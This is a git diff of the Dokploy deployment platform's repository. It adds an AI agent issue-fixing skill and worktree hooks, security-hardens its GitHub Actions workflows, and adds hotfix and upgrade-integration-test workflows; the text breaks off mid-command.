diff --git a/.claude/settings.json b/.claude/settings.json new file mode 100644 index 000000000..77f39858f --- /dev/null +++ b/.claude/settings.json @@ -0,0 +1,22 @@ +{ + "worktree": { + "baseRef": "fresh" + }, + "hooks": { + "PostToolUse": [ + { + "matcher": "EnterWorktree", + "hooks": [ + { + "type": "command", + "command": "\"$CLAUDE_PROJECT_DIR/scripts/install-worktree-deps.sh\"" + }, + { + "type": "command", + "command": "\"$CLAUDE_PROJECT_DIR/scripts/assign-worktree-port.sh\"" + } + ] + } + ] + } +} diff --git a/.claude/skills/fix-issue/SKILL.md b/.claude/skills/fix-issue/SKILL.md new file mode 100644 index 000000000..9418a626b --- /dev/null +++ b/.claude/skills/fix-issue/SKILL.md @@ -0,0 +1,55 @@ +--- +name: fix-issue +description: Implement a GitHub issue with reproduction and verification +allowed-tools: Bash, Edit, Write, Read, Glob, Grep, mcp__playwright__*, mcp__dokploy__* +--- + +The issue number is passed as $1. + +## Instance + +No instance is running yet — start your own, isolated to this worktree: + +1. Check `apps/dokploy/.env` for `PORT` (assigned per-worktree already). +2. If nothing is listening on that port, start it: `pnpm dokploy:dev` in the + background, then poll `curl -s -o /dev/null -w '%{http_code}' http://localhost:$PORT` + until it answers (usually ~10-15s). +3. Use `http://localhost:$PORT` as the base URL for Playwright navigation. + +Note: `mcp__dokploy__*` resolves its URL from +`$DOKPLOY_BASE_URL` once, at session startup — it cannot pick up a port +discovered mid-session. If those tools are unavailable or point at the wrong +instance, fall back to `curl`/`gh api` for API-level checks, or ask the user +to relaunch with `DOKPLOY_BASE_URL` exported first. + +## Tools + +- `mcp__dokploy__*` — the Dokploy API of the running instance. Use it to set up + state (create a project, an app, an env var) and to verify backend behavior. + Search for the tool you need; they are not all loaded upfront. +- `mcp__playwright__*` — the browser at $DOKPLOY_BASE_URL. Use it for anything + a user would see or click. + +Pick by where the bug lives, not by convenience: + +- Bug in the UI (rendering, forms, navigation, state) → reproduce in Playwright. + The API returning correct data proves nothing here. +- Bug in the API, deploy logic, or data → reproduce with the Dokploy MCP. + A green screenshot proves nothing here. +- Unclear → do both. + +Use the MCP to reach the state you need quickly, then verify in the UI. Do not +click through ten screens to create a project the API can create in one call. + +## Steps + +1. Run `gh issue view $1` and read the full issue, including comments. +2. Reproduce the bug with the appropriate tool. If you cannot reproduce it, + comment on the issue explaining what you tried and STOP. + Do not implement anything. +3. Implement the fix. Keep the change minimal and scoped to the issue. +4. Run `pnpm test`, then re-run the same reproduction from step 2. +5. Only if both pass: commit and run `gh pr create`. The PR description must + include the before/after reproduction steps and reference the issue. + +Never skip step 2. A fix you cannot reproduce and then verify is not a fix. \ No newline at end of file diff --git a/.github/workflows/create-pr.yml b/.github/workflows/create-pr.yml index 248b98d5a..7cf6fa136 100644 --- a/.github/workflows/create-pr.yml +++ b/.github/workflows/create-pr.yml @@ -14,34 +14,34 @@ jobs: runs-on: ubuntu-latest steps: - name: Checkout Repository - uses: actions/checkout@v4 + uses: actions/checkout@v7 with: fetch-depth: 0 - name: Get version from package.json - run: echo "VERSION=$(jq -r .version ./apps/dokploy/package.json)" >> $GITHUB_ENV + run: echo "VERSION=$(jq -r .version ./apps/dokploy/package.json)" >> "$GITHUB_ENV" - name: Get latest GitHub tag run: | LATEST_TAG=$(git ls-remote --tags origin | awk -F'/' '{print $3}' | sort -V | tail -n1) - echo "LATEST_TAG=$LATEST_TAG" >> $GITHUB_ENV - echo $LATEST_TAG + echo "LATEST_TAG=$LATEST_TAG" >> "$GITHUB_ENV" + echo "$LATEST_TAG" - name: Compare versions run: | - if [ "${{ env.VERSION }}" != "${{ env.LATEST_TAG }}" ]; then + if [ "$VERSION" != "$LATEST_TAG" ]; then VERSION_CHANGED="true" else VERSION_CHANGED="false" fi - echo "VERSION_CHANGED=$VERSION_CHANGED" >> $GITHUB_ENV + echo "VERSION_CHANGED=$VERSION_CHANGED" >> "$GITHUB_ENV" echo "Comparing versions:" - echo "Current version: ${{ env.VERSION }}" - echo "Latest tag: ${{ env.LATEST_TAG }}" + echo "Current version: $VERSION" + echo "Latest tag: $LATEST_TAG" echo "Version changed: $VERSION_CHANGED" - name: Check if a PR already exists run: | PR_EXISTS=$(gh pr list --state open --base main --head canary --json number --jq '. | length') - echo "PR_EXISTS=$PR_EXISTS" >> $GITHUB_ENV + echo "PR_EXISTS=$PR_EXISTS" >> "$GITHUB_ENV" env: GH_TOKEN: ${{ secrets.GH_PAT }} @@ -56,12 +56,12 @@ jobs: git push origin canary gh pr create \ - --title "🚀 Release ${{ env.VERSION }}" \ - --body ' - This PR promotes changes from `canary` to `main` for version ${{ env.VERSION }}. + --title "🚀 Release $VERSION" \ + --body " + This PR promotes changes from \`canary\` to \`main\` for version $VERSION. ### 🔍 Changes Include: - - Version bump to ${{ env.VERSION }} + - Version bump to $VERSION - All changes from canary branch ### ✅ Pre-merge Checklist: @@ -69,7 +69,7 @@ jobs: - [ ] Documentation updated - [ ] Docker images built and tested - > 🤖 This PR was automatically generated by [GitHub Actions](https://github.com/actions)' \ + > 🤖 This PR was automatically generated by [GitHub Actions](https://github.com/actions)" \ --base main \ --head canary \ --label "release" --label "automated pr" || true \ diff --git a/.github/workflows/deploy.yml b/.github/workflows/deploy.yml index 321fb2029..49428320e 100644 --- a/.github/workflows/deploy.yml +++ b/.github/workflows/deploy.yml @@ -5,33 +5,38 @@ on: branches: [main, canary] workflow_dispatch: +permissions: + contents: read + jobs: build-and-push-cloud-image: runs-on: ubuntu-latest steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v7 + with: + persist-credentials: false - name: Set tag and version id: meta-cloud run: | VERSION=$(jq -r .version apps/dokploy/package.json) - echo "version=$VERSION" >> $GITHUB_OUTPUT - if [ "${{ github.ref }}" = "refs/heads/main" ]; then - echo "tags=siumauricio/cloud:latest,siumauricio/cloud:${VERSION}" >> $GITHUB_OUTPUT + echo "version=$VERSION" >> "$GITHUB_OUTPUT" + if [ "$GITHUB_REF" = "refs/heads/main" ]; then + echo "tags=siumauricio/cloud:latest,siumauricio/cloud:${VERSION}" >> "$GITHUB_OUTPUT" else - echo "tags=siumauricio/cloud:canary" >> $GITHUB_OUTPUT + echo "tags=siumauricio/cloud:canary" >> "$GITHUB_OUTPUT" fi - name: Log in to Docker Hub - uses: docker/login-action@v2 + uses: docker/login-action@v4 with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} - name: Build and push Docker image - uses: docker/build-push-action@v4 + uses: docker/build-push-action@v7 with: context: . file: ./Dockerfile.cloud @@ -48,26 +53,28 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v7 + with: + persist-credentials: false - name: Set tag and version id: meta-schedule run: | VERSION=$(jq -r .version apps/dokploy/package.json) - if [ "${{ github.ref }}" = "refs/heads/main" ]; then - echo "tags=siumauricio/schedule:latest,siumauricio/schedule:${VERSION}" >> $GITHUB_OUTPUT + if [ "$GITHUB_REF" = "refs/heads/main" ]; then + echo "tags=siumauricio/schedule:latest,siumauricio/schedule:${VERSION}" >> "$GITHUB_OUTPUT" else - echo "tags=siumauricio/schedule:canary" >> $GITHUB_OUTPUT + echo "tags=siumauricio/schedule:canary" >> "$GITHUB_OUTPUT" fi - name: Log in to Docker Hub - uses: docker/login-action@v2 + uses: docker/login-action@v4 with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} - name: Build and push Docker image - uses: docker/build-push-action@v4 + uses: docker/build-push-action@v7 with: context: . file: ./Dockerfile.schedule @@ -80,26 +87,28 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v3 + uses: actions/checkout@v7 + with: + persist-credentials: false - name: Set tag and version id: meta-server run: | VERSION=$(jq -r .version apps/dokploy/package.json) - if [ "${{ github.ref }}" = "refs/heads/main" ]; then - echo "tags=siumauricio/server:latest,siumauricio/server:${VERSION}" >> $GITHUB_OUTPUT + if [ "$GITHUB_REF" = "refs/heads/main" ]; then + echo "tags=siumauricio/server:latest,siumauricio/server:${VERSION}" >> "$GITHUB_OUTPUT" else - echo "tags=siumauricio/server:canary" >> $GITHUB_OUTPUT + echo "tags=siumauricio/server:canary" >> "$GITHUB_OUTPUT" fi - name: Log in to Docker Hub - uses: docker/login-action@v2 + uses: docker/login-action@v4 with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} - name: Build and push Docker image - uses: docker/build-push-action@v4 + uses: docker/build-push-action@v7 with: context: . file: ./Dockerfile.server diff --git a/.github/workflows/dokploy.yml b/.github/workflows/dokploy.yml index 1c228d27e..175543205 100644 --- a/.github/workflows/dokploy.yml +++ b/.github/workflows/dokploy.yml @@ -8,18 +8,23 @@ on: env: IMAGE_NAME: dokploy/dokploy +permissions: + contents: read + jobs: docker-amd: runs-on: ubuntu-22.04 steps: - name: Checkout - uses: actions/checkout@v4 + uses: actions/checkout@v7 + with: + persist-credentials: false - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v3 + uses: docker/setup-buildx-action@v4 - name: Login to Docker Hub - uses: docker/login-action@v3 + uses: docker/login-action@v4 with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} @@ -27,15 +32,15 @@ jobs: - name: Set tag and version id: meta run: | - if [ "${{ github.ref }}" = "refs/heads/main" ]; then + if [ "$GITHUB_REF" = "refs/heads/main" ]; then TAG="latest" VERSION=$(node -p "require('./apps/dokploy/package.json').version") - elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then + elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then TAG="canary" else TAG="feature" fi - echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> $GITHUB_OUTPUT + echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> "$GITHUB_OUTPUT" - name: Prepare env file run: | @@ -43,7 +48,7 @@ jobs: cp apps/dokploy/.env.production.example apps/dokploy/.env.production - name: Build and push - uses: docker/build-push-action@v5 + uses: docker/build-push-action@v7 with: context: . platforms: linux/amd64 @@ -53,13 +58,15 @@ jobs: runs-on: ubuntu-24.04-arm steps: - name: Checkout - uses: actions/checkout@v4 + uses: actions/checkout@v7 + with: + persist-credentials: false - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v3 + uses: docker/setup-buildx-action@v4 - name: Login to Docker Hub - uses: docker/login-action@v3 + uses: docker/login-action@v4 with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} @@ -68,15 +75,15 @@ jobs: id: meta run: | VERSION=$(node -p "require('./apps/dokploy/package.json').version") - if [ "${{ github.ref }}" = "refs/heads/main" ]; then + if [ "$GITHUB_REF" = "refs/heads/main" ]; then TAG="latest" VERSION=$(node -p "require('./apps/dokploy/package.json').version") - elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then + elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then TAG="canary" else TAG="feature" fi - echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> $GITHUB_OUTPUT + echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> "$GITHUB_OUTPUT" - name: Prepare env file run: | @@ -84,7 +91,7 @@ jobs: cp apps/dokploy/.env.production.example apps/dokploy/.env.production - name: Build and push - uses: docker/build-push-action@v5 + uses: docker/build-push-action@v7 with: context: . platforms: linux/arm64 @@ -96,20 +103,22 @@ jobs: runs-on: ubuntu-latest steps: - name: Checkout - uses: actions/checkout@v4 + uses: actions/checkout@v7 + with: + persist-credentials: false - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v3 + uses: docker/setup-buildx-action@v4 - name: Login to Docker Hub - uses: docker/login-action@v3 + uses: docker/login-action@v4 with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} - name: Create and push manifests run: | - if [ "${{ github.ref }}" = "refs/heads/main" ]; then + if [ "$GITHUB_REF" = "refs/heads/main" ]; then VERSION=$(node -p "require('./apps/dokploy/package.json').version") TAG="latest" @@ -121,7 +130,7 @@ jobs: ${IMAGE_NAME}:${TAG}-amd64 \ ${IMAGE_NAME}:${TAG}-arm64 - elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then + elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then TAG="canary" docker buildx imagetools create -t ${IMAGE_NAME}:${TAG} \ ${IMAGE_NAME}:${TAG}-amd64 \ @@ -138,32 +147,40 @@ jobs: needs: [combine-manifests] if: github.ref == 'refs/heads/main' runs-on: ubuntu-latest + permissions: + contents: write outputs: version: ${{ steps.get_version.outputs.version }} + npm_version: ${{ steps.get_version.outputs.npm_version }} steps: - name: Checkout - uses: actions/checkout@v4 + uses: actions/checkout@v7 with: fetch-depth: 0 + persist-credentials: false - name: Get version id: get_version run: | VERSION=$(node -p "require('./apps/dokploy/package.json').version") - echo "version=$VERSION" >> $GITHUB_OUTPUT + echo "version=$VERSION" >> "$GITHUB_OUTPUT" + echo "npm_version=${VERSION#v}" >> "$GITHUB_OUTPUT" - name: Fetch install.sh + env: + RELEASE_VERSION: ${{ steps.get_version.outputs.version }} run: | curl -fsSL https://raw.githubusercontent.com/Dokploy/website/main/apps/website/public/install.sh -o install.sh head -1 install.sh | grep -q '^#!' || { echo "Downloaded install.sh is not a shell script"; exit 1; } grep -q 'DOKPLOY_VERSION' install.sh || { echo "install.sh no longer supports DOKPLOY_VERSION pinning"; exit 1; } - { head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${{ steps.get_version.outputs.version }}}\""; tail -n +2 install.sh; } > install-pinned.sh + { head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${RELEASE_VERSION}}\""; tail -n +2 install.sh; } > install-pinned.sh mv install-pinned.sh install.sh - name: Create Release - uses: softprops/action-gh-release@v2 + uses: softprops/action-gh-release@v3 with: tag_name: ${{ steps.get_version.outputs.version }} + target_commitish: ${{ github.sha }} name: ${{ steps.get_version.outputs.version }} generate_release_notes: true draft: false @@ -176,75 +193,90 @@ jobs: needs: [generate-release] if: github.ref == 'refs/heads/main' runs-on: ubuntu-latest + env: + NPM_VERSION: ${{ needs.generate-release.outputs.npm_version }} steps: - name: Checkout - uses: actions/checkout@v4 + uses: actions/checkout@v7 + with: + persist-credentials: false + + - uses: pnpm/action-setup@v6 + with: + version: 10.22.0 + + - uses: actions/setup-node@v7 + with: + node-version: 24.4.0 + cache: pnpm + + - name: Generate OpenAPI specification + run: | + pnpm install --frozen-lockfile + pnpm generate:openapi - name: Sync version to MCP repository run: | git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo cd /tmp/mcp-repo - jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp + jq --arg v "$NPM_VERSION" '.version = $v' package.json > package.json.tmp mv package.json.tmp package.json - npm install -g pnpm + cp $GITHUB_WORKSPACE/openapi.json src/generated/openapi.json pnpm install - pnpm run fetch-openapi pnpm run generate git config user.name "Dokploy Bot" git config user.email "bot@dokploy.com" git add -A - git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \ - -m "Source: ${{ github.repository }}@${{ github.sha }}" \ + git commit -m "chore: bump version to $NPM_VERSION" \ + -m "Source: $GITHUB_REPOSITORY@$GITHUB_SHA" \ --allow-empty git push - echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.version }}" + echo "✅ MCP repo synced to version $NPM_VERSION" - name: Sync version to CLI repository run: | git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo cd /tmp/cli-repo - jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp + jq --arg v "$NPM_VERSION" '.version = $v' package.json > package.json.tmp mv package.json.tmp package.json - cp ${{ github.workspace }}/openapi.json ./openapi.json - npm install -g pnpm + cp $GITHUB_WORKSPACE/openapi.json ./openapi.json pnpm install pnpm run generate git config user.name "Dokploy Bot" git config user.email "bot@dokploy.com" git add -A - git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \ - -m "Source: ${{ github.repository }}@${{ github.sha }}" \ + git commit -m "chore: bump version to $NPM_VERSION" \ + -m "Source: $GITHUB_REPOSITORY@$GITHUB_SHA" \ --allow-empty git push - echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.version }}" + echo "✅ CLI repo synced to version $NPM_VERSION" - name: Sync version to SDK repository run: | git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo cd /tmp/sdk-repo - jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp + jq --arg v "$NPM_VERSION" '.version = $v' package.json > package.json.tmp mv package.json.tmp package.json - cp ${{ github.workspace }}/openapi.json ./openapi.json - npm install -g pnpm + cp $GITHUB_WORKSPACE/openapi.json ./openapi.json pnpm install pnpm run generate git config user.name "Dokploy Bot" git config user.email "bot@dokploy.com" git add -A - git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \ - -m "Source: ${{ github.repository }}@${{ github.sha }}" \ + git commit -m "chore: bump version to $NPM_VERSION" \ + -m "Source: $GITHUB_REPOSITORY@$GITHUB_SHA" \ --allow-empty git push - echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.version }}" + echo "✅ SDK repo synced to version $NPM_VERSION" diff --git a/.github/workflows/format.yml b/.github/workflows/format.yml index cfddad7b2..fd0823a7a 100644 --- a/.github/workflows/format.yml +++ b/.github/workflows/format.yml @@ -6,17 +6,22 @@ on: pull_request: branches: [canary] +permissions: + contents: read + jobs: format: runs-on: ubuntu-latest steps: - name: Checkout code - uses: actions/checkout@v4 + uses: actions/checkout@v7 + with: + persist-credentials: false - name: Setup biomeJs - uses: biomejs/setup-biome@v2 + uses: biomejs/setup-biome@v2 - name: Run Biome formatter run: biome format --write - - uses: autofix-ci/action@635ffb0c9798bd160680f18fd73371e355b85f27 # v1.3.2 + - uses: autofix-ci/action@c5b2d67aa2274e7b5a18224e8171550871fc7e4a # v1.3.4 diff --git a/.github/workflows/hotfix-cherry-pick.yml b/.github/workflows/hotfix-cherry-pick.yml new file mode 100644 index 000000000..30a3dda7c --- /dev/null +++ b/.github/workflows/hotfix-cherry-pick.yml @@ -0,0 +1,51 @@ +name: Hotfix Cherry-Pick + +on: + pull_request_target: + types: [closed, labeled] + +concurrency: + group: hotfix-to-main + cancel-in-progress: false + +jobs: + cherry-pick: + if: github.event.pull_request.merged == true && contains(github.event.pull_request.labels.*.name, 'hotfix') + runs-on: ubuntu-latest + permissions: + contents: write + steps: + - name: Checkout main + uses: actions/checkout@v7 + with: + ref: main + fetch-depth: 0 + token: ${{ secrets.HOTFIX_PUSH_TOKEN }} + + - name: Cherry-pick fix to main + env: + MERGE_SHA: ${{ github.event.pull_request.merge_commit_sha }} + run: | + git config user.name "Dokploy Bot" + git config user.email "bot@dokploy.com" + SHA="$MERGE_SHA" + if [ "$(git rev-list --parents -n1 "$SHA" | wc -w)" -gt 2 ]; then + git cherry-pick -x -m 1 "$SHA" + else + git cherry-pick -x "$SHA" + fi + git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]" + git push origin main + + - name: Sync cherry-pick back into canary + run: | + git config user.name "Dokploy Bot" + git config user.email "bot@dokploy.com" + git fetch origin canary main + git checkout -B canary origin/canary + if ! git merge origin/main -m "chore: sync hotfix from main into canary [skip ci]"; then + git merge --abort + echo "::error::Could not auto-sync the hotfix into canary (real conflict, not just history divergence). Merge main into canary manually to avoid a conflict on the next release PR." + exit 1 + fi + git push origin canary diff --git a/.github/workflows/hotfix-release.yml b/.github/workflows/hotfix-release.yml new file mode 100644 index 000000000..3271df861 --- /dev/null +++ b/.github/workflows/hotfix-release.yml @@ -0,0 +1,32 @@ +name: Hotfix Release + +on: + workflow_dispatch: + +concurrency: + group: hotfix-to-main + cancel-in-progress: false + +# Push to main goes through HOTFIX_PUSH_TOKEN, not the workflow token. +permissions: + contents: read + +jobs: + release: + runs-on: ubuntu-latest + steps: + - name: Checkout main + uses: actions/checkout@v7 + with: + ref: main + token: ${{ secrets.HOTFIX_PUSH_TOKEN }} + + - name: Bump patch version and push + run: | + git config user.name "Dokploy Bot" + git config user.email "bot@dokploy.com" + CURRENT=$(node -p "require('./apps/dokploy/package.json').version") + NEW=$(echo "$CURRENT" | awk -F. -v OFS=. '{$NF++; print}') + sed -i "s/\"version\": \"$CURRENT\"/\"version\": \"$NEW\"/" apps/dokploy/package.json + git commit -am "chore: release ${NEW}" + git push origin main diff --git a/.github/workflows/monitoring.yml b/.github/workflows/monitoring.yml index 378b019d4..df0a70e0a 100644 --- a/.github/workflows/monitoring.yml +++ b/.github/workflows/monitoring.yml @@ -7,18 +7,23 @@ on: env: IMAGE_NAME: dokploy/monitoring +permissions: + contents: read + jobs: docker-amd: runs-on: ubuntu-22.04 steps: - name: Checkout - uses: actions/checkout@v4 + uses: actions/checkout@v7 + with: + persist-credentials: false - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v3 + uses: docker/setup-buildx-action@v4 - name: Login to Docker Hub - uses: docker/login-action@v3 + uses: docker/login-action@v4 with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} @@ -26,17 +31,17 @@ jobs: - name: Set tag id: meta run: | - if [ "${{ github.ref }}" = "refs/heads/main" ]; then + if [ "$GITHUB_REF" = "refs/heads/main" ]; then TAG="latest" - elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then + elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then TAG="canary" else TAG="feature" fi - echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> $GITHUB_OUTPUT + echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> "$GITHUB_OUTPUT" - name: Build and push - uses: docker/build-push-action@v5 + uses: docker/build-push-action@v7 with: context: . file: ./Dockerfile.monitoring @@ -47,13 +52,15 @@ jobs: runs-on: ubuntu-24.04-arm steps: - name: Checkout - uses: actions/checkout@v4 + uses: actions/checkout@v7 + with: + persist-credentials: false - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v3 + uses: docker/setup-buildx-action@v4 - name: Login to Docker Hub - uses: docker/login-action@v3 + uses: docker/login-action@v4 with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} @@ -61,17 +68,17 @@ jobs: - name: Set id: meta run: | - if [ "${{ github.ref }}" = "refs/heads/main" ]; then + if [ "$GITHUB_REF" = "refs/heads/main" ]; then TAG="latest" - elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then + elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then TAG="canary" else TAG="feature" fi - echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> $GITHUB_OUTPUT + echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> "$GITHUB_OUTPUT" - name: Build and push - uses: docker/build-push-action@v5 + uses: docker/build-push-action@v7 with: context: . file: ./Dockerfile.monitoring @@ -84,27 +91,29 @@ jobs: runs-on: ubuntu-latest steps: - name: Checkout - uses: actions/checkout@v4 + uses: actions/checkout@v7 + with: + persist-credentials: false - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v3 + uses: docker/setup-buildx-action@v4 - name: Login to Docker Hub - uses: docker/login-action@v3 + uses: docker/login-action@v4 with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} - name: Create and push manifests run: | - if [ "${{ github.ref }}" = "refs/heads/main" ]; then + if [ "$GITHUB_REF" = "refs/heads/main" ]; then TAG="latest" docker buildx imagetools create -t ${IMAGE_NAME}:${TAG} \ ${IMAGE_NAME}:${TAG}-amd64 \ ${IMAGE_NAME}:${TAG}-arm64 - elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then + elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then TAG="canary" docker buildx imagetools create -t ${IMAGE_NAME}:${TAG} \ ${IMAGE_NAME}:${TAG}-amd64 \ diff --git a/.github/workflows/pull-request.yml b/.github/workflows/pull-request.yml index 2ad24fc0c..d1cd96364 100644 --- a/.github/workflows/pull-request.yml +++ b/.github/workflows/pull-request.yml @@ -14,9 +14,11 @@ jobs: matrix: job: [build, test, typecheck] steps: - - uses: actions/checkout@v4 - - uses: pnpm/action-setup@v4 - - uses: actions/setup-node@v4 + - uses: actions/checkout@v7 + with: + persist-credentials: false + - uses: pnpm/action-setup@v6 + - uses: actions/setup-node@v7 with: node-version: 24.4.0 cache: "pnpm" diff --git a/.github/workflows/sync-openapi-docs.yml b/.github/workflows/sync-openapi-docs.yml index 147d8d97e..f378f7dca 100644 --- a/.github/workflows/sync-openapi-docs.yml +++ b/.github/workflows/sync-openapi-docs.yml @@ -12,17 +12,20 @@ on: workflow_dispatch: +permissions: + contents: read + jobs: generate-and-commit: name: Generate OpenAPI and commit to Dokploy repo runs-on: ubuntu-latest steps: - name: Checkout Dokploy repository - uses: actions/checkout@v4 + uses: actions/checkout@v7 with: - token: ${{ secrets.GITHUB_TOKEN }} - - uses: pnpm/action-setup@v4 - - uses: actions/setup-node@v4 + persist-credentials: false + - uses: pnpm/action-setup@v6 + - uses: actions/setup-node@v7 with: node-version: 24.4.0 cache: "pnpm" diff --git a/.github/workflows/upgrade-integration-test.yml b/.github/workflows/upgrade-integration-test.yml new file mode 100644 index 000000000..eea581175 --- /dev/null +++ b/.github/workflows/upgrade-integration-test.yml @@ -0,0 +1,442 @@ +# Upgrade Integration Test +# +# Tests that Dokploy can upgrade from version A to version B while keeping +# user projects (Postgres, MongoDB, two web apps, one static site) alive. +# +# Generates upgrade pairs: each stable tag in [floor_version, target_version) +# is paired with target_version. If target_version is empty, the highest tag +# available on Docker Hub is used as the target. +# +# Only triggered manually to avoid burning Actions minutes. + +name: Upgrade Integration Test + +on: + workflow_dispatch: + inputs: + floor_version: + description: 'Oldest version tag to include in pairs (e.g. v0.29.4)' + required: false + default: 'v0.29.4' + target_version: + description: 'Target version to upgrade to (version B). Leave empty to use the highest available.' + required: false + default: '' + +env: + DOKPLOY_IMAGE: dokploy/dokploy + DOKPLOY_SERVICE: dokploy + DOKPLOY_PORT: 3000 + +permissions: + contents: read + +# ────────────────────────────────────────────────────────────────────────────── +jobs: + + # ── 1. Build the matrix ───────────────────────────────────────────────────── + build-matrix: + name: Build upgrade pair matrix + runs-on: ubuntu-latest + outputs: + pairs: ${{ steps.pairs.outputs.pairs }} + + steps: + - name: Generate pairs + id: pairs + env: + FLOOR: ${{ inputs.floor_version }} + TARGET: ${{ inputs.target_version }} + run: | + set -euo pipefail + + # semver "a >= b" comparison helper (vX.Y.Z, strips leading v) + ge() { + [ "$(printf '%s\n%s\n' "${1#v}" "${2#v}" | sort -V | tail -n1)" = "${1#v}" ] + } + + # Fetch all semver tags from Docker Hub (dokploy/dokploy) + ALL_TAGS=$(curl -fsSL \ + "https://hub.docker.com/v2/repositories/dokploy/dokploy/tags?page_size=100" | \ + jq -r '.results[].name' | \ + grep -E '^v[0-9]+\.[0-9]+\.[0-9]+$' | \ + sort -V) + + echo "All tags found:" + echo "$ALL_TAGS" + + # Target version (version B): explicit input, else highest available. + if [ -n "$TARGET" ]; then + TO="$TARGET" + echo "Using user-supplied target version: $TO" + else + TO=$(echo "$ALL_TAGS" | tail -n1) + echo "No target supplied; using highest available: $TO" + fi + + # Floor semver components + FLOOR_CLEAN="${FLOOR#v}" + IFS='.' read -r F_MAJ F_MIN F_PAT <<< "$FLOOR_CLEAN" + + # Each tag in [FLOOR, TO) → TO + PAIRS='[]' + while read -r TAG; do + [ -z "$TAG" ] && continue + # skip tags above-or-equal to the target (incl. the target itself) + ge "$TAG" "$TO" && continue + TAG_CLEAN="${TAG#v}" + IFS='.' read -r T_MAJ T_MIN T_PAT <<< "$TAG_CLEAN" + if [ "$T_MAJ" -gt "$F_MAJ" ] || \ + { [ "$T_MAJ" -eq "$F_MAJ" ] && [ "$T_MIN" -gt "$F_MIN" ]; } || \ + { [ "$T_MAJ" -eq "$F_MAJ" ] && [ "$T_MIN" -eq "$F_MIN" ] && [ "$T_PAT" -ge "$F_PAT" ]; }; then + PAIRS=$(echo "$PAIRS" | jq -c \ + --arg f "$TAG" --arg t "$TO" \ + '. + [{"from":$f,"to":$t}]') + fi + done <<< "$ALL_TAGS" + + COUNT=$(echo "$PAIRS" | jq 'length') + echo "Total pairs: $COUNT" + echo "$PAIRS" | jq -r '.[] | " \(.from) → \(.to)"' + + echo "pairs=$PAIRS" >> "$GITHUB_OUTPUT" + + + # ── 2. Run one upgrade test per pair ──────────────────────────────────────── + upgrade-test: + name: "${{ matrix.pair.from }} → ${{ matrix.pair.to }}" + needs: build-matrix + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + pair: ${{ fromJSON(needs.build-matrix.outputs.pairs) }} + + steps: + + # ── Environment setup ────────────────────────────────────────────────── + - name: Free disk space + run: | + sudo rm -rf \ + /usr/share/dotnet /opt/ghc /usr/local/share/boost \ + "$AGENT_TOOLSDIRECTORY" /usr/local/lib/android \ + /usr/local/share/chromium /opt/hostedtoolcache + docker system prune -af --volumes + df -h + + # ── Install Dokploy directly at VERSION A ────────────────────────────── + # install.sh: + # • requires root (run via sudo bash) + # • respects DOKPLOY_VERSION → installs that tag directly + # (so we don't need a separate "downgrade" step that would risk + # running B's migrations on A's expected schema) + # • respects ADVERTISE_ADDR → skip the external IP lookup + # • initializes Docker Swarm + dokploy-network itself + - name: Install Dokploy at VERSION A (${{ matrix.pair.from }}) + run: | + curl 